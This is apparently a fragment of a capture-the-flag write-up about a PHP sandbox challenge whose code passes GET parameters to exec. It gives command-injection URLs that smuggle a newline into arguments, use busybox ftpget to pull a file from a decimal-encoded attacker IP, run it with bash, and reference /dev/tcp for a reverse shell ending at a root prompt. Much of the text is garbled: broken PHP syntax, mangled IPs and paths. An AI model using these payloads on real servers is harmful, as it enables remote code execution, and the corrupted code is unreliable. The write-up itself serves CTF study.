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<?php
$dir = 'sandbox/' .$_SERVER['REMOTE_ADDR'];
if (!file_exists($dir))
mkdir($dir);
chdir($dir);

$args = $_GET['args'];
for ($i=0; $i<count($args);$i++){
if (!preg_match('/"\w+$/', $args[$i]))

exit;
}
exec("/bin/orange " .implode(" ",%$args));
?>
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touch test 74

http://ip/index.php?args[@]=a%@a&args[1]=touch&args[2]test
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lusongl@buntu: /var/www/html/test/sandbox/192.168.158.15 1

lusongl@buntu: /var/www/html/test/sandbox/15%2.168.15968.15
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pip F#: pip install pyftpdlib
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Jtmp/ftp

Jtmp/ftp

dev/tcp/1982.168.198.128
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Jtmp/ftp
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busybox ftpget 3232286336 1

?args[@]=a%0a&args[1]=busybox&args[2]=ftpget&args[3]=3232286336&args[4]=1
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?args[@]=a%Pa&args[1]=bash&args[2]=1
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root@kali: /home/lusong/CTF/work - (I X

root s 1 /home/lusong/CTF/work
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